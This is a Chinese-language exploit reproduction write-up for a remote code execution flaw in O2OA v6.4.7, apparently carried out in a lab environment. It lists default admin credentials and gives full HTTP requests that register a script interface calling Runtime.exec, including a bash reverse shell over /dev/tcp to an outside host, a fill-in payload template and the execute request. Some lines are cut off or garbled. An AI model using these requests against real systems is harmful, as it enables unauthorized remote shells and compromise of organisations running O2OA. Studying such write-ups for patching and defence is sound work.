O7-1O2OA-RCE

漏洞描述：

O2OA是一个基于 J2EE 分布式架构，集成移动办公、智能办公，支持私有化部署，自适应负载能力的，能够很大程度上节约企业软件开发成本，基于AGPL协议开放源代码的企业信息化系统需求定制开发平台解决方案。通过/x_program_center/jaxrs/invoke 发现 020A v6.4.7 包含一个远程代码执行(RCE)漏洞。

影响版本：

```
020A v6.4.7
```

网络测绘：

fofa语法：

漏洞复现：

vulfocus在线靶场环境

5、利用流程

1、使用默认口令xadmin/o2登录后台，利用某大佬写的POC进行复现
项目地址：O2OA-POC/POC.md at main · wendell1224/O2OA-POC · GitHub
注意事项：大佬的POC里面应该是打错了，多打了一个 "/",所以导致添加的接口无法调用指令，删掉即可。

main ▾ O2OA-POC / POC.md

wendell1224 Update POC.md

1 contributor

38 lines (34 sloc) | 1.7 KB

Default User/Password login,get your authorization

Default user/password: xadmin/o2

1.Add the Interface

```
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Host: [your target host]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Ch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: [your authorization]
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 475

{"name":"abc","id":"abc","alias":"","description":"","isNewInvoke":true,"text":"/\n\nvar s = [3];\ns[
```

bp抓包收集 Authorization字段信息

io=1.5&rotation=0&showTitle=false&status=done&style=none&taskId=u73c05518-adfb-4c3a-bf19-d9e252e763f&title=)

添加一个接口

Request

Raw | Params | Headers | Hex

```
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Host: 123.58.224.8:56051
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/json,*/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=utf-8
x-token: PfyuxmzglzrHM6DcZGtiS0kHOpxDmP6Z50QnO7mEHhA
Authorization: PfyuxmzglzrHM6DcZGtiS0kHOpxDmP6Z50QnO7mEHhA
Content-Length: 497
Origin: http://123.58.224.8:56051
Connection: close
Referer: http://123.58.224.8:56051/x_desktop/index.html
Cookie: metabase.DEVICE=b8815e48-64f7-450d-a66e-f190dc20bacf; smile=1D1;
org.jboss.seam.core.TimeZone=Asia/Shanghai; org.jboss.seam.core.Locale=zh_CN;
Hm_lvt_deaeca6802357287fb453f342ce28dda=1670497101; OFBiz.Visitor=10000;
admin_username=admin; _ga=GA1.1.869485273.1671810588; wp-settings-time-2=1673107589;
wp-settings-2=mfold%3Df; lang=zh-CN; wp-settings-time-1=1673506013;
x-token=PfyuxmzglzrHM6DcZGtiS0kHOpxDmP6Z50QnO7mEHhA

{"name":"abcw","id":"abc","alias":"","description":"","isNewInvoke":true,"text":"\n\nvar s = [3];\ns[0] =
\"/bin/bash\";\ns[1] = \"-c\";\ns[2] = \"bash -i >& /dev/tcp/[redacted]/6666 0>&1\";\nvar p =
java.lang.Runtime.getRuntime().exec(s);\nvar sc = new
java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\nvar result = sc.hasNext() ?
sc.next() :
\"\";\nsc.close();","enableToken":false,"enable":true,"remoteAddrRegex":"","lastStartTime":"","lastEnd
Time":"","validated":true}
```

Response

Raw | Headers | Hex

```
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: http://123.
Access-Control-Allow-Methods: GET, P
Access-Control-Allow-Headers: x-reque
Content-Length, x-cipher, x-client, x-del
x-token
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: c-tok
Access-Control-Max-Age: 86400
Set-Cookie: x-token=PfyuxmzglzrHM6D
domain=123.58.224.8
x-token: PfyuxmzglzrHM6DcZGtiS0tOH
ETag: "430854515"
Content-Type: application/json;charset=
Content-Length: 198

{
  "type": "success",
  "data": {
    "id": "0a7347e4-5ccd-41c6-[redacted]-14a
  },
  "message": "",
  "date": "[redacted]17:21",
  "spent": 8,
  "size": -1,
  "count": 0,
  "position": 0
}
```

payload：

```
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Host: [your target host]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: [your authorization]
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 475

{"name":"abc","id":"abc","alias":"","description":"","isNewInvoke":true,"text":"\n\nvar s = [3];\ns[0] = \"/bin/bash\";\ns[1] = \"-c\";\ns[2] = \"[command]\";\nvar p = j
```

效果图:

2、调用接口中的命令反弹shell

Request

Raw | Params | Headers | Hex

```
POST /x_program_center/jaxrs/invoke/abc/execute?v=6.3 HTTP/1.1
Host: 123.58.224.8:56051
Content-Length: 0
Accept: text/html,application/json,*/*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN
Authorization: PfyuxmzglzrHM6DcZGtiS0kHOpxDmP6Z50QnO7mEHhA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://123.58.224.8:56051
Referer: http://123.58.224.8:56051/x_desktop/index.html
Accept-Encoding: gzip, deflate
Cookie:
Connection: close
```

!

```
POST /x_program_center/jaxrs/invoke/abc/execute?v=6.3 HTTP/1.1
```

```
Host: [your target host]
Content-Length: 0
Accept: text/html,application/json,*/*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN
Authorization: [your authorization]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://[your target host]
Referer: http://[your target host]/x_desktop/index.html
Accept-Encoding: gzip, deflate
Cookie:
Connection: close
```